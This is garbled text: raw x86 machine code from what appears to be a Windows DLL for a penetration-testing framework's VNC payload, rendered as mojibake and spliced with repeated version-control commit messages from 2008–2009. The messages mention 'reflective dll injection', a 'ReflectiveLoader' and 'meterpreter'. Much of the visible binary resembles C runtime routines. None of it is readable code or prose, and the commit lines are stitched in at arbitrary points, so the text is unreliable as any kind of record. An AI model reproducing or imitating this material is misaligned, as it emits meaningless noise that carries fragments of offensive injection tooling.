ƒ=è„�ûü„Ahpf»S¿8WèÝýÿÿƒÄ …Àt
VVVVVè¨ÿÿƒÄh¾QVjÆUÿœP…Àu&hXfhûVè›ýÿÿƒÄ …Àt3ÀPPPPPèʧÿÿƒÄVè+¥ÿÿ@Yƒø<v8Vè¥ÿÿƒî;Æj¹LhTf+ÈQPè­\ƒÄ…Àt3öVVVVV臧ÿÿƒÄë3öhPfSWè\ƒÄ …Àt
VVVVVèc§ÿÿƒÄ‹Eüÿ4ŬåSWèî[ƒÄ …Àt
VVVVVè>§ÿÿƒÄh h(fWèaZƒÄ ë2jôÿ|P‹Ø;Þt$ƒûÿtj�EøP�4ý¬åÿ6èi¤ÿÿYPÿ6SÿtP_^[ÉÃjè°\Yƒøtjè£\Y…Àuƒ=èuhüè)þÿÿhÿèþÿÿYYËÿU‹ì‹E£T]ËÿVW3ö¿Xƒ<õdæu�õ`æ‰8h ÿ0ƒÇèK@YY…Àt Fƒþ$|Ò3À@_^Ã$õ`æ3Àëñ‹ÿS‹œQV¾`æW‹>…ÿtƒ~t
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
WÿÓWèبÿÿƒ&YƒÆ�þ€ç|ܾ`æ_‹…Àt ƒ~uPÿÓƒÆ�þ€ç|æ^[ËÿU‹ì‹Eÿ4Å`æÿ˜Q]Ãj h°¦èPôÿÿ3ÿG‰}ä3Û9¬uèÞþÿÿjè,ýÿÿhÿèÍÿÿYY‹u�4õ`æ9t‹ÇënjèTùÿÿY‹ø;ûuèÿøÿÿÇ 3ÀëQj
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
èYY‰]ü9u,h WèB?YY…ÀuWè¨ÿÿYèÉøÿÿÇ ‰]äë ‰>ëWèë§ÿÿYÇEüþÿÿÿè ‹EäèèóÿÿÃj
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
è(ÿÿÿYËÿU‹ì‹EV�4Å`æƒ>uPè"ÿÿÿY…ÀujèöËÿÿYÿ6ÿ�Q^]ËÿU‹ì‹
ˆ ¡Œ kÉÈë‹U+P �úr ƒÀ;Árë3À]ËÿU‹ìƒì‹M‹AV‹u W‹þ+y ƒÆüÁï‹ÏiÉ�ŒD‰Mð‹I‰MüöÁ…ÓS�1‹‰Uô‹Vü‰Uø‹Uô‰] öÂutÁúJƒú?vj?Z‹K;KuB»€ƒú s‹ÊÓë�L÷Ó!\¸Dþ u#‹M!ë�JàÓë�L÷Ó!œ¸Äþ u‹M!Y‹] ‹S‹[‹MüMô‰Z‹U ‹Z‹R‰S‰Mü‹ÑÁúJƒú?vj?Z‹]øƒã‰]ô…�+uø‹]øÁûj?‰u K^;Þv‹ÞMø‹ÑÁúJ‰Mü;Öv‹Ö;Út^‹M ‹q;qu;¾€ƒû s‹ËÓî÷Ö!t¸DþLu!‹M!1ë�KàÓî÷Ö!´¸ÄþLu‹M!q‹M ‹q‹I‰N‹M ‹q‹I‰N‹u ë‹]ƒ}ôu;Ú„€‹Mð� Ñ‹Y‰N‰^‰q‹N‰q‹N;Nu`ŠLˆMþÁˆLƒú s%€}u‹Ê»€Óë‹M »€‹ÊÓë�D¸D ë)€}u�JເÓë‹M Y�J຀Óê�„¸Ä ‹Eü‰‰D0ü‹Eðÿ…󡨅À„Ø‹
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
œ ‹5øPh@ÁáH »€SQÿÖ‹
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
œ ¡¨º€Óê P¡¨‹@‹
œ ƒ¤ˆÄ¡¨‹@þHC¡¨‹H€yCu ƒ`þ¡¨ƒxÿueSjÿp ÿÖ¡¨ÿpjÿ5¬ÿ(Q‹
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
ˆ ¡¨kÉ‹Œ +È�LìQ�HQPè1ªÿÿ‹EƒÄ ÿ
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
ˆ ;¨vƒm¡Œ £” ‹E£¨‰=œ [_^ÉᘠV‹5ˆ W3ÿ;ðu4ƒÀkÀPÿ5Œ Wÿ5¬ÿQ;Çu3Àëxƒ˜ ‹5ˆ £Œ kö5Œ hÄAjÿ5¬ÿ,Q‰F;ÇtÇjh hWÿôP‰F ;ÇuÿvWÿ5¬ÿ(Q뛃Nÿ‰>‰~ÿˆ ‹Fƒÿ‹Æ_^ËÿU‹ìQQ‹M‹ASV‹qW3ÛëÀC…À}ù‹ÃiÀ�„0Dj?‰EøZ‰@‰@ƒÀJuôj‹ûhÁçy h€WÿôP…ÀuƒÈÿé��—p‰Uü;úwC‹Ê+ÏÁé �GAƒHøÿƒˆìÿ��ü‰��üïÿÿÇ@üð‰PÇ€èðIuË‹Uü‹Eøø�O ‰H‰A�J ‰H‰AƒdžD3ÿG‰¼žÄŠFCŠÈþÁ„À‹EˆNCu xº€‹ËÓê÷Ò!P‹Ã_^[ÉËÿU‹ìƒì ‹M‹ASV‹uW‹} ‹×+Q ƒÆÁê‹ÊiÉ�ŒD‰Mô‹OüƒæðI;ñ�|9ü‹‰M‰]üŽUöÃ…EÙ;ó�;‹MüÁùI‰Møƒù?vj?Y‰Mø‹_;_uC»€ƒù sÓë‹Mø�L÷Ó!\�Dþ u&‹M!ëƒÁàÓë‹Mø�L÷Ó!œ�Äþ u‹M!Y‹O‹_‰Y‹O‹‰y‹M+ÎMüƒ}üŽ¥‹}ü‹M ÁÿO�L1üƒÿ?vj?_‹]ô�û‰]‹[‰Y‹]‰Y‰K‹Y‰K‹Y;YuWŠLˆMþÁˆLƒÿ s€}u‹Ï»€Óë‹M �D�D‹Ïë €}u�OເÓë‹M Y�„�Ä�O຀Óê ‹U ‹Mü�D2ü‰‰Lüë‹U �F‰Bü‰D2øé<3Àé8�/‹] )u�N‰Kü�\3ü‹uÁþN‰] ‰Küƒþ?vj?^öEü…€‹uüÁþNƒþ?vj?^‹O;OuB»€ƒþ s‹ÎÓë�t÷Ó!\�Dþu#‹M!ë�NàÓë�L÷Ó!œ�Äþ u‹M!Y‹] ‹O‹w‰q‹w‹O‰q‹uuü‰uÁþNƒþ?vj?^‹Mô� ñ‹y‰K‰{‰Y‹K‰Y‹K;KuWŠLˆMþÁˆLƒþ s€}u‹Î¿€Óï‹M 9�D�D‹Îë €}u�Nà¿€Óï‹M y�„�Ä�N຀Óê ‹E‰‰Dü3À@_^[ÉËÿU‹ìƒì¡ˆ ‹MkÀŒ ƒÁƒáð‰MðÁùSIƒù VW} ƒÎÿÓîƒMøÿë
ƒÁàƒÊÿ3öÓê‰Uø‹
” ‹Ùë‹S‹;#Uø#þ ×u
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
ƒÃ‰];Ørè;Øu‹Œ ë‹S‹;#Uø#þ ×u
ƒÃ‰];Ùrè;Ùu[ë ƒ{u
ƒÃ‰];Ørð;Øu1‹Œ ë ƒ{u
ƒÃ‰];Ùrð;Ùuè úÿÿ‹Ø‰]…Ûu3Àé Sè:ûÿÿY‹K‰‹Cƒ8ÿt剔 ‹C‹‰Uüƒúÿt‹Œ�Ä‹|�D#Mø#þ Ïu)ƒeü‹�Ä�HD‹9#Uø#þ ×uÿEü‹‘„ƒÁëç‹Uü‹ÊiÉ�ŒD‰Mô‹L�D3ÿ#Îu‹Œ�Ä#Møj _ëÉG…É}ù‹Mô‹Tù‹
+Mð‹ñÁþNƒþ?‰Mø~j?^;÷„‹J;Ju\ƒÿ »€}&‹ÏÓë‹Mü�|8÷Ó‰]ì#\ˆD‰\ˆDþu3‹Mì‹]! ë,�OàÓë‹Mü�ŒˆÄ�|8÷Ó!þ‰]ìu ‹]‹Mì!Kë‹]ƒ}ø‹J‹z‰y‹J‹z‰y„�‹Mô� ñ‹y‰J‰z‰Q‹J‰Q‹J;Ju^ŠLˆM þÁƒþ ˆL}#€} u ¿€‹ÎÓï ;‹Î¿€Óï‹Mü |ˆDë)€} u
�Nà¿€Óï {‹Mü�¼ˆÄ�NྀÓî 7‹Mø…Ét ‰
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
‰Lüë‹Mø‹uðÑ�N‰
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
‰L2ü‹uô‹�y‰>…Éu;¨u‹Mü;
œ uƒ%¨‹Mü‰�B_^[ÉËÿU‹ì3À9Ej”ÀhPÿðP£¬…Àu]Ã3À@£„ ]Ã=„ uWS3Û9ˆ W‹=(Q~3V‹5Œ ƒÆh€jÿvüÿøPÿ6jÿ5¬ÿ׃ÆC;ˆ |Ø^ÿ5Œ jÿ5¬ÿ×_[ÿ5¬ÿìPƒ%¬ÃU‹ìƒì‰}ü‰uø‹u ‹}‹MÁéë�›fofoNfoV fo^0ffOfW f_0fof@fonPfov`fo~pfg@foPfw`fp�¶€�¿€Iu£‹uø‹}ü‹å]ÃU‹ìƒì‰}ô‰uø‰]ü‹] ‹Ã™‹È‹E3Ê+ʃá3Ê+Ê™‹ø3ú+úƒç3ú+ú‹Ñ ×uJ‹u‹Îƒá‰Mè;ñt+ñVSPè'ÿÿÿƒÄ ‹E‹Mè…Étw‹]‹U Ó+щUìØ+Ù‰]ð‹uì‹}ð‹Mèó¤‹EëS;Ïu5÷ÙƒÁ‰Mä‹u ‹}‹Mäó¤‹MMä‹U Uä‹E+EäPRQèLÿÿÿƒÄ ‹Eë‹u ‹}‹M‹ÑÁéó¥‹Êƒáó¤‹E‹]ü‹uø‹}ô‹å]Ãj hЦèˆæÿÿƒeüf(ÁÇEäë#‹Eì‹‹=Àt
=Àt3ÀÃ3À@ËeèƒeäÇEüþÿÿÿ‹EäèŠæÿÿËÿU‹ìƒì3ÀS‰Eü‰Eô‰EøSœX‹È5 P�œZ+ÑtQ�3À¢‰Eô‰]è‰Uì‰M𸢉Uü‰Eø[÷Eütè\ÿÿÿ…Àt3À@ë3À[ÉÃè™ÿÿÿ£€ 3ÀËÿU‹ìQV‹u Vèú4‰E ‹F Y¨‚uè±êÿÿÇ ƒN ƒÈÿé/¨@t
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
è–êÿÿÇ"ëãS3Û¨t‰^¨„‡‹Nƒàþ‰‰F ‹F ƒàïƒÈ‰F ‰^‰]ü© u,èðÁÿÿƒÀ ;ðt èäÁÿÿƒÀ@;ðu
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
ÿu èLPY…ÀuVèøOY÷F W„€‹F‹>�H‰‹N+øI;û‰N~WPÿu è:<ƒÄ ‰EüëMƒÈ ‰F ƒÈÿëy‹M ƒùÿtƒùþt‹Áƒà‹ÑÁúÁà•€ ë¸Ðíö@ tjSSQèdN#ƒÄƒøÿt%‹FŠMˆë3ÿGW�EPÿu èË;ƒÄ ‰Eü9}üt ƒN ƒÈÿë‹E%ÿ_[^ÉÃöA @tƒyt$ÿIx ‹ˆÿ¶Àë ¾ÀQPèvþÿÿYYƒøÿu ÃÿËÿU‹ìV‹ðë‹MŠEÿM èµÿÿÿƒ>ÿtƒ} ç^]ËÿU‹ìöG @SV‹ð‹Ùt2ƒu,‹Eë+ŠÿM‹Ïè}ÿÿÿCƒ>ÿuèßèÿÿƒ8*u‹Ï°?èdÿÿÿƒ}Õ^[]ËÿU‹ì�ìx¡Dá3ʼnEüS‹] V‹u3ÀW‹}ÿu��¤ýÿÿ‰µ´ýÿÿ‰½Üýÿÿ‰…¸ýÿÿ‰…ðýÿÿ‰…Ìýÿÿ‰…èýÿÿ‰…Ðýÿÿ‰…Àýÿÿ‰…Èýÿÿèè¸ÿÿ…öu5èWèÿÿÇ3ÀPPPPPè–ÿÿƒÄ€½°ýÿÿt
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
‹…¬ýÿÿƒ`pýƒÈÿéÈ
öF @u^VèT2YºÐíƒøÿtƒøþt‹Èƒá‹ðÁþÁá µ€ ë‹ÊöA$u‘ƒøÿtƒøþt‹ÈƒàÁùÁà�€ ë‹Âö@$€…gÿÿÿ3É;Ù„]ÿÿÿŠ‰�Øýÿÿ‰�àýÿÿ‰�¼ýÿÿˆ•ïýÿÿ„Ò„
Cƒ½Øýÿÿ‰�ÄýÿÿŒ
ŠÂ, <Xw¾Â¾€ˆfƒà3öë3ö3À¾„Á¨fjÁøY‰…”ýÿÿ;Á‡­ ÿ$…±¯ƒ�èýÿÿÿ‰µ�ýÿÿ‰µÀýÿÿ‰µÌýÿÿ‰µÐýÿÿ‰µðýÿÿ‰µÈýÿÿév ¾Âƒè tJƒèt6ƒèt%HHtƒè…W ƒ�ðýÿÿéK ƒ�ðýÿÿé? ƒ�ðýÿÿé3 ��ðýÿÿ€é$ ƒ�ðýÿÿé €ú*u,ƒÇ‰½Üýÿÿ‹ü;þ‰½Ìýÿÿ�ùƒ�ðýÿÿ÷�Ìýÿÿéç‹…ÌýÿÿkÀ
¾Ê�DЉ…Ìýÿÿé̉µèýÿÿéÁ€ú*u&ƒÇ‰½Üýÿÿ‹ü;þ‰½èýÿÿ�¢ƒ�èýÿÿÿé–‹…èýÿÿkÀ
¾Ê�DЉ…èýÿÿé{€úItU€úhtD€últ€úw…c��ðýÿÿéT€;luC��ðýÿÿ‰�Äýÿÿé9ƒ�ðýÿÿé-ƒ�ðýÿÿ é!Š<6u€{4uCC��ðýÿÿ€‰�Äýÿÿéþ<3u€{2uCC�¥ðýÿÿÿÿÿ‰�ÄýÿÿéÝ<d„Õ<i„Í<o„Å<u„½<x„µ<X„­‰µ”ýÿÿ�…¤ýÿÿP¶ÂP‰µÈýÿÿèõ'Y…ÀŠ…ïýÿÿYt"‹�´ýÿÿ�µØýÿÿè¤ûÿÿŠC‰�Äýÿÿ„À„¤üÿÿ‹�´ýÿÿ�µØýÿÿè‚ûÿÿéM¾Âƒød�è„yƒøS�ò„€ƒèAtHHtXHHtHH…’€Â Ç…�ýÿÿˆ•ïýÿÿƒ�ðýÿÿ@9µèýÿÿ��ôýÿÿ¸‰�äýÿÿ‰… ýÿÿ�HÇ…èýÿÿé¥÷…ðýÿÿ0…˜��ðýÿÿé‰÷…ðýÿÿ0u
��ðýÿÿ‹�èýÿÿƒùÿu¹ÿÿÿƒÇ÷…ðýÿÿ‰½Üýÿÿ‹ü‰½äýÿÿ„±;þu ¡ˆç‰…äýÿÿ‹…äýÿÿÇ…ÈýÿÿéƒèX„ÚHHty+Á„'ÿÿÿHH…žƒÇ÷…ðýÿÿ‰½Üýÿÿt0·GüPh�…ôýÿÿP�…àýÿÿPèrKƒÄ…ÀtÇ…ÀýÿÿëŠGüˆ…ôýÿÿÇ…àýÿÿ�…ôýÿÿ‰…äýÿÿé5‹ƒÇ‰½Üýÿÿ;Æt;‹H;Ît4÷…ðýÿÿ¿‰�äýÿÿt™+ÂÑøÇ…Èýÿÿéð‰µÈýÿÿé塄牅äýÿÿPèüŒÿÿYé΃øp�û„ãƒøeŒ¼ƒøgŽ4þÿÿƒøitqƒønt(ƒøo… ö…ðýÿÿ€Ç…àýÿÿta��ðýÿÿëU‹7ƒÇ‰½Üýÿÿè±½ÿÿ…À„/úÿÿö…ðýÿÿ t f‹…Øýÿÿf‰ë‹…Øýÿÿ‰Ç…Àýÿÿ馃�ðýÿÿ@Ç…àýÿÿ
‹�ðýÿÿ÷Á€„©‹‹WƒÇéÕu€úgueÇ…èýÿÿëY9…èýÿÿ~‰…èýÿÿ�½èýÿÿ£~?‹µèýÿÿ�Æ]Vè9âÿÿŠ•ïýÿÿY‰…¼ýÿÿ…Àt‰…äýÿÿ‰µ ýÿÿ‹Øë
Ç…èýÿÿ£3ö‹ƒÇ‰…ˆýÿÿ‹Gü‰…Œýÿÿ�…¤ýÿÿPÿµ�ýÿÿ¾Âÿµèýÿÿ‰½ÜýÿÿPÿµ ýÿÿ�…ˆýÿÿSPÿ5Àíè¸ÔÿÿYÿЋ½ðýÿÿƒÄ�ç€t 9µèýÿÿu�…¤ýÿÿPSÿ5Ìíè‰ÔÿÿYÿÐYY€½ïýÿÿgu;þu�…¤ýÿÿPSÿ5ÈíèdÔÿÿYÿÐYY€;-u��ðýÿÿC‰�äýÿÿSéþÿÿÇ…èýÿÿ‰�¸ýÿÿë$ƒès„¶üÿÿHH„‰þÿÿƒè…¶Ç…¸ýÿÿ'ö…ðýÿÿ€Ç…àýÿÿ„iþÿÿŠ…¸ýÿÿQÆ…Ôýÿÿ0ˆ…ÕýÿÿÇ…ÐýÿÿéEþÿÿ÷Á…KþÿÿƒÇöÁ t‰½ÜýÿÿöÁ@t¿Güë·Gü™ë‹GüöÁ@t™ë3Ò‰½ÜýÿÿöÁ@t;Ö|;Æs÷؃Ò÷Ú��ðýÿÿ÷…ðýÿÿ�‹Ú‹øu3Ûƒ½èýÿÿ} Ç…èýÿÿ냥ðýÿÿ÷¸9…èýÿÿ~‰…èýÿÿ‹Ç Ãu!…Ðýÿÿ�uó‹…èýÿÿÿ�èýÿÿ…À‹Ç Ãt-‹…àýÿÿ™RPSWèÎGƒÁ0ƒù9‰� ýÿÿ‹ø‹Ú~�¸ýÿÿˆNë½�Eó+ÆF÷…ðýÿÿ‰…àýÿÿ‰µäýÿÿta…Àt‹Î€90tVÿ�äýÿÿ‹�äýÿÿÆ0@ë>If90t@@;Îuô+…äýÿÿÑøë(;þu ¡„牅äýÿÿ‹…äýÿÿëI€8t@;Îuõ+…äýÿÿ‰…àýÿÿƒ½Àýÿÿ…\‹…ðýÿÿ¨@t2©t Æ…Ôýÿÿ-ë¨t Æ…Ôýÿÿ+ë ¨tÆ…Ôýÿÿ Ç…Ðýÿÿ‹�Ìýÿÿ+�àýÿÿ+�Ðýÿÿö…ðýÿÿ uÿµ´ýÿÿ�…ØýÿÿSj èpõÿÿƒÄ ÿµÐýÿÿ‹½´ýÿÿ�…Øýÿÿ��Ôýÿÿèvõÿÿö…ðýÿÿYtö…ðýÿÿuWSj0�…Øýÿÿè.õÿÿƒÄ ƒ½Èýÿÿ‹…àýÿÿtf…À~b‹µäýÿÿ‰… ýÿÿ·ÿ� ýÿÿPj�EôP�…˜ýÿÿFPFè FƒÄ…Àu(9…˜ýÿÿt ÿµ˜ýÿÿ�…Øýÿÿ�Môèñôÿÿƒ½ ýÿÿYuµëƒ�Øýÿÿÿë‹�äýÿÿP�…ØýÿÿèÊôÿÿYƒ½Øýÿÿ|ö…ðýÿÿtWSj �…Øýÿÿè‚ôÿÿƒÄ ƒ½¼ýÿÿtÿµ¼ýÿÿèÜŒÿÿƒ¥¼ýÿÿY‹�ÄýÿÿŠˆ…ïýÿÿ„Àt‹�”ýÿÿ‹½ÜýÿÿŠÐéáõÿÿ€½°ýÿÿt
‹…¬ýÿÿƒ`pý‹…Øýÿÿ‹Mü_^3Í[èC‚ÿÿÉÃ�¼§½¥í¥K¦—¦¢¦è¦¨ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌSV‹D$ Àu‹L$‹D$3Ò÷ñ‹Ø‹D$ ÷ñ‹ÓëA‹È‹\$‹T$‹D$ ÑéÑÛÑêÑØ Éuô÷ó‹ð÷d$‹È‹D$÷æÑr;T$wr;D$ vN3Ò‹Æ^[ÂU‹ìƒì‰}ü‹}‹M ÁéfïÀë�¤$�ffGfG fG0fG@fGPfG`fGp�¿€IuЋ}ü‹å]ÃU‹ìƒì‰}ü‹E™‹ø3ú+úƒç3ú+ú…ÿu<‹M‹Ñƒâ‰Uô;Êt+ÊQPèsÿÿÿƒÄ‹E‹Uô…ÒtEE+‰Eø3À‹}ø‹Môóª‹Eë.÷߃lj}ð3À‹}‹Mðóª‹Eð‹M‹UÈ+ÐRjQè~ÿÿÿƒÄ ‹E‹}ü‹å]ËÿU‹ì‹9EuF‹jP;M u+èEÜÿÿYY‰…Àu3À]ËEÇÿ6ÿu ÿ7èf‹ÿÿƒÄ ëQè³ÜÿÿƒÄ …ÀtÕ‰Ñ&3À@]ËÿU‹ì¶EPèf>…À¾EYuƒà߃è]ÃÿJx ‹
A‰
ÃRèìCYËÿU‹ìƒ}ÿt]éE]ËÿU‹ìS‹UÿèÇÿÿÿ‹Øƒûÿt¶ÃPè?Y…Àuá‹Ã[]ËÿU‹ì�ìü¡Dá3ʼnEü‹M‹EV3öW‹} ‰�þÿÿ��|þÿÿ‰…dþÿÿ‰�TþÿÿÇ…$þÿÿ^‰µ0þÿÿ‰µþÿÿ‰µxþÿÿ;þu è©ÚÿÿVVVVVÇèWˆÿÿƒÄƒÈÿé5;ÆtÜö@ @SuzPè¶$YºÐíƒøÿtƒøþt‹Èƒá‹ØÁûÁá �€ ë‹ÊöA$u&ƒøÿtƒøþt‹ÈƒàÁùÁà�€ ë‹Âö@$€t è$ÚÿÿVVVVVÇèÒ‡ÿÿƒÄƒÈÿé¯ÿu��þÿÿ胪ÿÿŠÆ…cþÿÿ‰µtþÿÿ‰µ<þÿÿ„À„k‹µdþÿÿ¶ÀPèÎ=Y…Àt0ÿ�tþÿÿVV�µtþÿÿè…þÿÿYPèkþÿÿYYGPè£=Y…Àuñé©
Š<%…1
8G„
3ö‰µ@þÿÿÆ…/þÿÿ‰µXþÿÿ‰µLþÿÿ‰µlþÿÿÆ…aþÿÿÆ…`þÿÿÆ…jþÿÿÆ…SþÿÿÆ…bþÿÿÆ…sþÿÿÆ…kþÿÿ‰µ(þÿÿG¶ÃPè<Y…Àt‹…lþÿÿÿ…LþÿÿkÀ
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
�DЉ…lþÿÿéŃûN�ƒ„¶ƒû*tpƒûF„¨ƒûItƒûLutþ…kþÿÿé“ŠO€ù6u�G€84uÿ…(þÿÿ‹ø‰µ4þÿÿ‰µ8þÿÿëm€ù3u �G€82u‹øë\€ùdtW€ùitR€ùotM€ùxtH€ùXuëAþ…jþÿÿë9ƒûht(ƒûlt
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
ƒûwtþ…Sþÿÿë"�G€8lt—þ…kþÿÿþ…sþÿÿë þ�kþÿÿþ�sþÿÿ€½Sþÿÿ„þþÿÿ€½jþÿÿ‰½Hþÿÿu‹…þÿÿ‹0‰…þÿÿƒÀ‰…þÿÿë3ö2Û‰µDþÿÿ8�sþÿÿuŠ<St Æ…sþÿÿÿ<CuÆ…sþÿÿƒÈ ‰…\þÿÿƒøntJƒøctƒø{tÿµdþÿÿ�µtþÿÿè}üÿÿYë‹•dþÿÿÿ…tþÿÿè@üÿÿ‰…xþÿÿƒøÿ„Ñ ‹µDþÿÿ‹½Hþÿÿ‹�Lþÿÿ…Ét
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
ƒ½lþÿÿ„„ ‹…\þÿÿƒøo�r„ƒøc„
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
jdZ;„íŽzƒøg~Eƒøit!ƒøn…g€½jþÿÿ‹½tþÿÿ„f
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
é�
‰•\þÿÿƒ½xþÿÿ-…4Æ…`þÿÿé13Ûƒ½xþÿÿ-u ‹…TþÿÿÆ-Cë ƒ½xþÿÿ+uÿ�lþÿÿ‹•dþÿÿÿ…tþÿÿè^ûÿÿ‰…xþÿÿƒ½Lþÿÿuƒ�lþÿÿÿ¶…xþÿÿëk‹…lþÿÿÿ�lþÿÿ…ÀtfŠ…xþÿÿ‹�Tþÿÿÿ…Xþÿÿˆ �…0þÿÿP�…|þÿÿPCS�½Tþÿÿ�µ$þÿÿè‚úÿÿƒÄ …À„Ž
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
‹•dþÿÿÿ…tþÿÿèÝúÿÿ‰…xþÿÿ¶ÀPè#9Y…ÀuŠ‹…þÿÿ‹€¼‹Šˆ…aþÿÿ:…xþÿÿ…å‹…lþÿÿÿ�lþÿÿ…À„Ñ‹•dþÿÿÿ…tþÿÿè‚úÿÿ‹�Tþÿÿ‰…xþÿÿŠ…aþÿÿˆ �…0þÿÿP�…|þÿÿPCS�½Tþÿÿ�µ$þÿÿèÕùÿÿƒÄ …À„á ¶…xþÿÿëk‹…lþÿÿÿ�lþÿÿ…Àtf‹…TþÿÿŠ�xþÿÿÿ…Xþÿÿˆ �…0þÿÿP�…|þÿÿPCS�½Tþÿÿ�µ$þÿÿè{ùÿÿƒÄ …À„‡ ‹•dþÿÿÿ…tþÿÿèÖùÿÿ‰…xþÿÿ¶ÀPè8Y…ÀuŠƒ½Xþÿÿ„_ƒ½xþÿÿet
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
ƒ½xþÿÿE…I‹…lþÿÿÿ�lþÿÿ…À„5‹…TþÿÿÆe�…0þÿÿP�…|þÿÿPCS�½Tþÿÿ�µ$þÿÿèéøÿÿƒÄ …À„õ‹•dþÿÿÿ…tþÿÿèDùÿÿ‰…xþÿÿƒø-u,‹…TþÿÿÆ-�…0þÿÿP�…|þÿÿPCSè£øÿÿƒÄ …À„¯ë ƒ½xþÿÿ+u/‹…lþÿÿÿ�lþÿÿ…Àu!…lþÿÿë‹•dþÿÿÿ…tþÿÿèÛøÿÿ‰…xþÿÿ¶…xþÿÿëk‹…lþÿÿÿ�lþÿÿ…Àtf‹…TþÿÿŠ�xþÿÿÿ…Xþÿÿˆ �…0þÿÿP�…|þÿÿPCS�½Tþÿÿ�µ$þÿÿèøÿÿƒÄ …À„‹•dþÿÿÿ…tþÿÿèjøÿÿ‰…xþÿÿ¶ÀPè°6Y…ÀuŠÿµdþÿÿÿ�tþÿÿÿµxþÿÿèUøÿÿƒ½XþÿÿYY„Ѐ½jþÿÿ…ü‹…Tþÿÿÿ…<þÿÿ��þÿÿQPÿµDþÿÿƾ…kþÿÿHPÿ5Äíè‹ÆÿÿYÿЃÄé¿…Éuÿ…lþÿÿÇ…Lþÿÿ€½sþÿÿ~Æ…bþÿÿ‹½dþÿÿÿ�tþÿÿWÿµxþÿÿ‰µ@þÿÿèº÷ÿÿYYƒ½Lþÿÿt‹…lþÿÿÿ�lþÿÿ…À„3ÿ…tþÿÿ‹×èx÷ÿÿ‰…xþÿÿƒøÿ„ƒ½\þÿÿctNƒ½\þÿÿsuƒø | ƒø
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
Žèƒø u2ƒ½\þÿÿ{…Ö¾�aþÿÿ3ҋȃáBÓâ‹ÈÁù¾L
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
Ü3Ë…Ñ„±€½jþÿÿ…™€½bþÿÿ„~ˆ… þÿÿ¶ÀPèCY…Àtÿ…tþÿÿ‹×è×öÿÿˆ…!þÿÿ�…þÿÿP‹…þÿÿÇ…þÿÿ?ÿ°¬�… þÿÿP�…þÿÿPè½<f‹…þÿÿƒÄf‰FFéƒèp„…ƒè„©þÿÿHH„{ƒè„¼úÿÿƒèt3;…xþÿÿ…Ìþ�cþÿÿ€½jþÿÿ…‹…þÿÿ‰…þÿÿé €½sþÿÿ~Æ…bþÿÿG€?^‹÷u
�wÆ…aþÿÿÿj �EÜjPè®…ÿÿƒÄ €>]u ²]FÆEç ëfŠ•/þÿÿë^F<-uB„Òt>Š€ù]t7F:ÑsŠÁëŠÂŠÑ:Ðw"*ÂþÀ¶ú¶Ð‹Ïƒá‹Ç³ÒãÁè�DÜGJuè2Òë¶ÈŠÐ‹Áƒá³ÁèÒã�DÜŠ<]uœ„À„‰µHþÿÿ‹µDþÿÿé«ýÿÿƒ½xþÿÿ+u'ÿ�lþÿÿu…Ét³ë‹•dþÿÿÿ…tþÿÿèCõÿÿ‰…xþÿÿj0^9µxþÿÿ…x‹•dþÿÿÿ…tþÿÿèõÿÿ‰…xþÿÿ<xtX<XtTƒ½\þÿÿxÇ…Xþÿÿt"ƒ½Lþÿÿt
ÿ�lþÿÿuþÃÇ…\þÿÿoé$ÿµdþÿÿÿ�tþÿÿPèÞôÿÿYY‰µxþÿÿé‹•dþÿÿÿ…tþÿÿèªôÿÿƒ½Lþÿÿ‰…xþÿÿtƒ­lþÿÿƒ½lþÿÿ}þÃÇ…\þÿÿxéĈF‰µDþÿÿéÊüÿÿÿ…@þÿÿé¿üÿÿÿ�tþÿÿWPèjôÿÿYY9µ@þÿÿ„怽jþÿÿ…ÿ…<þÿÿƒ½\þÿÿc„ÿ€½bþÿÿt‹�Dþÿÿ3Àf‰éæ‹…DþÿÿÆéØÆ…kþÿÿƒ½xþÿÿ-u Æ…`þÿÿë ƒ½xþÿÿ+u'ÿ�lþÿÿu…Ét³ë‹•dþÿÿÿ…tþÿÿè¼óÿÿ‰…xþÿÿƒ½(þÿÿ„J„Û… ƒ½\þÿÿxteƒ½\þÿÿpt\¶…xþÿÿPè×1Y…À„ʃ½\þÿÿou"ƒ½xþÿÿ8�´‹µ4þÿÿ‹½8þÿÿ¤÷ÁæëRjj
